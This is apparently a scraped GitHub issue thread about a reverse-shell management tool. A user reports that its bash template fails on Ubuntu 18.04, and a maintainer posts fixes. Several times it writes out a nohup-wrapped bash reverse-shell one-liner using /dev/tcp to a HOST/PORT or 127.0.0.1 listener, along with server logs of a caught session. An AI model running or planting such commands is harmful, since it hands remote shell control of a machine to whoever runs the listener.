Open hnz2010 opened 3 years ago
Thanks for reporting, I will check it out soon. @hnz2010
Done, now the reverse shell as a service
will work as expected.
Done, now the
reverse shell as a service
will work as expected.
you MUST NOT change /usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/HOST/PORT 0>&1' >/dev/null & to /usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/HOST/PORT 0>&1 &' >/dev/null , nohup used with &.
Done, now the
reverse shell as a service
will work as expected.
I think the endline &
crash with /bin/bash -i >/dev/tcp/HOST/PORT 0>&1
.
Description
ubuntu 18.04 bash.tpl can't work. Describe your problem here "/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/127.0.0.1/13338 0>&1' >/dev/null &" failed "/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/127.0.0.1/13338 0>&1' >/dev/null " work well "/bin/bash -c '/bin/bash -i >/dev/tcp/127.0.0.1/13338 0>&1' " work well ,but some stdout output.
Reproduce
Expected behavior
2021/09/29 11:22:33 Gathering information from client... 2021/09/29 11:22:35 Fire in the hole: [33368f5d5fa2b0a21bf030af38ea7941] tcp://127.0.0.1:39964 [🐧]
Current behavior
2021/09/29 11:25:24 Gathering information from client... 2021/09/29 11:25:27 Read response timeout from client 2021/09/29 11:25:28 Read response timeout from client 2021/09/29 11:25:28 2021/09/29 11:25:28 [127.0.0.1:39994] OS detection failed, set OS =
Unknown
2021/09/29 11:25:28 [127.0.0.1:39994] Unrecognized operating system 2021/09/29 11:25:28 [127.0.0.1:39994] Unsupported OS: UnknownScreenshots/Terminal log
Environments